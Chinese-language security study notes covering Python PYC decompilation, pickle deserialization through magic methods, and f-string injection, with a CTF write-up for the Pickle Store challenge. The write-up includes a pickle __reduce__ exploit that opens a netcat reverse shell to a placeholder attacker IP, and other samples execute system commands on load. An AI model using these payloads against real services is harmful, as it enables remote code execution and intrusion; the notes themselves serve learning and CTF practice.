文章目录
前记
- 今天是学习小迪安全的第七十二天,本节课是语言类安全的最后一节课,主要是Python的反序列化安全
- 内容比较少,实战也可能不经常遇到,但是CTF可能遇到,所以还是了解一下
WEB攻防——第七十一天
Python安全&反序列化利用链&PYC文件反编译&格式化字符串安全
Python - PYC-反编译文件出源码
介绍
pyc
文件是py
文件编译后生成的字节码文件(byte code
),pyc
文件经过python
解释器最终会生成机器码运行。因此pyc
文件是可以跨平台部署的,类似Java
的.class
文件,一般py
文件改变后,都会重新生成pyc
文件。
演示
- 真题:http://pan.baidu.com/s/1jGpB8DS
- 反编译工具:
uncompyle6
- 安装:
pip install uncompyle6
- 使用:
uncompyle6 -o . test.pyc
,-o
表示输出到指定文件 - 下载:https://github.com/rocky/python-uncompyle6
- 安装:
- 这个东西实战中不太容易见到,但是CTF中可能会考
- 比如上面那个题,我们就可以直接使用这个工具反编译得到程序源码,然后分析拿到
flag
即可:
Python - 反序列化-调用链&魔术方法
各类语言序列化和反序列化函数
- Java:
Serializable Externalizable
接口、fastjson
、jackson
、gson
、ObjectInputStream.read
、ObjectObjectInputStream.readUnshared
、XMLDecoder.read
、ObjectYaml.loadXStream.fromXML
、ObjectMapper.readValue
、JSON.parseObject
等 - PHP:
serialize()
、unserialize()
- Python:
pickle
、marshal
、json
、PyYAML
、shelve
、PIL
、unzip
序列化和反序列化含义
- 序列化:把类对象转化为字节流或文件
- 反序列化:将字节流或文件转化为类对象
Python中常用的序列化/反序列化函数
- 字符串/文件:
pickle.dump(obj, file)
:将对象序列化后保存到文件pickle.load(file)
:将文件序列化内容反序列化为对象pickle.dumps(obj)
:将对象序列化成字符串格式的字节流pickle.loads(bytes_obj)
:将字符串字节流反序列化为对象
- JSON:
json.dump(obj, file)
:把 Python 对象序列化成 JSON 文本 并写入文件json.load(file)
:从文件读 JSON 文本并反序列化成 Python 对象json.dumps(obj)
:将对象序列化为JSON文本json.loads(json_str)
:将JSON字符串反序列化为Python对象
- YAML:
yaml.dump(obj, file)
:把 Python 对象序列化成 YAML 并写入文件yaml.load(stream, Loader=...)
:把 YAML 文本反序列化成 Python 对象
- marshal:功能与
pickle
类似,主要用于.pyc
字节码文件的读写,普通业务几乎不会使用marshal.dump/load
函数
魔术方法
__reduce__()
:反序列化时调用
import pickle
import os
class R:
def __reduce__(self):
return (os.system, ('calc',)) # 反序列化时执行 os.system('calc')
r = R()
dt = pickle.dumps(r)
da = pickle.loads(dt) # 反序列化弹出计算器
__reduce_ex__()
:反序列化时调用
import pickle
import os
class R:
def __reduce_ex__(self, protocol):
return (os.system, ('calc',)) # 反序列化时执行 os.system('calc')
r = R()
dt = pickle.dumps(r)
da = pickle.loads(dt) # 反序列化弹出计算器
-
其实上面两个函数的原理都是将函数里面的内容写到序列化之后的字符串中,它们得到的值为:
b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.'
,很明显看到有system、calc吧?反序列化之后就直接触发恶意代码弹计算器了 -
__setstate__()
:反序列化时调用,和php中isset那个相似,需要调用不存在的属性才能触发
import pickle
import os
class R:
def __setstate__(self, state):
os.system('calc')
# 给实例随便加一个属性,让它非空!
r = R()
r.flag = 1 # 只要 __dict__ 非空即可
dt = pickle.dumps(r)
pickle.loads(dt) # 反序列化弹出计算器
__getstate__()
:序列化时触发
import pickle
import os
class R:
def __getstate__(self):
os.system('calc') # 反序列化时执行
r = R()
dt = pickle.dumps(r)
print(dt) # 序列化弹出计算器
发现
- 白盒直接搜索上述的关键函数即可
- 黑盒中通过Python反序列化的特征:base64编码时前面gA固定,发现反序列化数据,可能出现的地方(
get
、post
、cookie
…)
import base64
import pickle
class R:
def __init__(self):
pass
r = R()
dt = pickle.dumps(r)
base64_dt = base64.b64encode(dt)
print(base64_dt)
# 输出:b'gASVFQAAAAAAAACMCF9fbWFpbl9flIwBUpSTlCmBlC4='
案例演示——[watevrCTF-2019]Pickle Store
-
这里通过一个CTF赛题来演示,题目来自BUUCTF的Pickle Store,现在靶机已经能正常打开了
-
我们看它的商品最后一个可能是
flag
:
-
但它卖1000,我们只有500,那这种题很大概率就是考怎么把这个钱变成1000然后买
flag
-
还是Web三把手:
F12
源代码、抓包、扫目录,当然这里我们通过题目Pickle
也大概可以知道可能考的是反序列化 -
F12
或者抓包发现我们的Session
值为gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu
-
很明显
gA
开头的base64
编码,解码看一下:
-
可以看到什么
money
、history
等等,这个和我们的页面是对上的,然后我们直接写一个代码去反序列化:
import base64
import pickle
base64_sd = b'gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu'
sd = base64.b64decode(base64_sd)
dd = pickle.loads(sd)
print(dd)
# 输出: {'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}
- 这里我们就能够尝试改钱了,那就直接改然后序列化提交看看我们的钱会不会变:
import base64
import pickle
dd = "{'money': 1500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}"
sd = pickle.dumps(dd)
base64_sd = base64.b64encode(sd)
print(base64_sd)
# 输出: b'gASVWgAAAAAAAACMVnsnbW9uZXknOiAxNTAwLCAnaGlzdG9yeSc6IFtdLCAnYW50aV90YW1wZXJfaG1hYyc6ICdhYTFiYTRkZTU1MDQ4Y2YyMGUwYTdhNjNiN2Y4ZWI2Mid9lC4='
-
将结果提交,网站崩了,泥煤的:
-
这里的问题是它后面有一个
anti_tamper_hmac
,防篡改的,那说明这里就不能改money
的值 -
重开靶机,然后我们尝试其他的方法,这里既然不让我们改
money
,那我们就直接尝试反序列化RCE,这里exp
是这个:
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc <iP> 8888 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
- 这里应该是能够成功的,但是我又没有复现出来,什么鬼,但大致思路就是这样,通过
__reduce__(self)
函数去构造一个恶意的序列化对象,然后让其进行反序列化执行我们的恶意函数,达到攻击目的
Python - 格式化字符串-类魔术方法引用
- 参考文章地址:Python Web之flask session&格式化字符串漏洞-先知社区
python
中格式化字符串的方式有以下四种:%
字符串string.Template
- 调用
format
方法 f-Strings
- 这四种方法使用不当都有可能造成RCE漏洞,这里主要是讲第四种,它是
python3.6
新增的一种格式化字符串方式,其功能十分强大,可以执行字符串中包含的 python 表达式 - 它造成漏洞的示例代码如下:
print(f'{__import__("os").system("ping 127.0.0.1")} is my friend!')
- 他就会执行这里面的ping命令,这个看起来好像没什么用,但是也是一种危害